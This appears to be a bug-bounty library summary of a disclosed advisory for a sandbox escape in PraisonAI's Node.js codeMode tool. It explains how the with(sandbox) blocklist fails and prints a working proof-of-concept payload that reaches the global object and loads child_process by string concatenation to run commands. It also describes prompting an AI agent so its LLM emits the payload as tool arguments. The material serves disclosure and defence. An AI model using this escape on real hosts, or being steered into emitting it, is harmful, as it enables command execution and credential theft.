# PraisonAI: Remote Code Execution via Sandbox Escape in `codeMode` Tool

PraisonAI's codeMode tool runs LLM code via new Function with a with(sandbox) blocklist; Function('return this')() plus string-concatenated require escapes it for host RCE.

- Payout: Research
- Severity: critical
- Program: PraisonAI
- Found by: sondt99
- Disclosed: 2026-06-18
- CVE: CVE-2026-57141
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-p69m-4f92-2v84
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-p69m-4f92-2v84
- Tags: area:ai domain:ai domain:oss impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:llm tech:nodejs technique:source-review vuln:rce vuln:sandbox-escape

**Target:** Node.js code-execution tool (code-mode.ts) in praisonai-ts npm package
**Root cause:** LLM-controlled code is executed with new Function inside a with(sandbox) block, which does not isolate the global object; a regex blocklist is the only defense and it only matches literal strings.
**Steps:**
1. Reach the codeMode `execute` method with attacker-influenced `code` (line 104); blocklist regexes at lines 108-136 are applied first.
2. Recover global: `const g = Function('return this')();` — no pattern matches `Function(` or `return this`.
3. Evade require regex via concatenation: `const cp = g.require('child_' + 'process');`
4. Execute: `cp.execSync('id').toString()` — observed `uid=1000(sondt23) ...`
5. Alternate global access: `(function(){}).constructor('return process')()`.
**How found:** Code review of the new Function + with(sandbox) pattern; recognized that `with` only extends the scope chain and does not block the global object, then tested blocklist regexes against `Function('return this')()` and concatenated require strings, confirming with positive and negative controls.
**Exploitation:** Attacker crafts prompts to an AI agent with codeMode enabled so the LLM emits the escape payload as tool arguments; the payload runs in-process as the host user, yielding command execution, file read/write, env-var/credential exfiltration and lateral movement in containers.
**Insight:** When a JS 'sandbox' is a `with(obj)` wrapper over `new Function`, the global object is always reachable via `Function('return this')()` or `(function(){}).constructor`; also test blocklists with concatenated/split string literals since regexes match literals only.

## Proof of concept (copied exactly from the original report)

**Sandbox escape RCE payload via Function constructor**

```
const code = `
const Func = (function(){}).constructor;
const proc = Func('return process')();
console.log('process.version:', proc.version);
const g = Function('return this')();
const mod = 'child_' + 'process';
const cp = g.require(mod);
console.log('RCE:', cp.execSync('id').toString().trim());
`;
```

**Negative control direct require blocked**

```
const code = `require('child_process')`;
// Returns: "Blocked pattern detected: require\s*\(\s*['"]child_process['"]\s*\)"
```

**Negative control eval blocked**

```
const code = `eval('process')`;
// Returns: "Blocked pattern detected: eval\s*\("
```

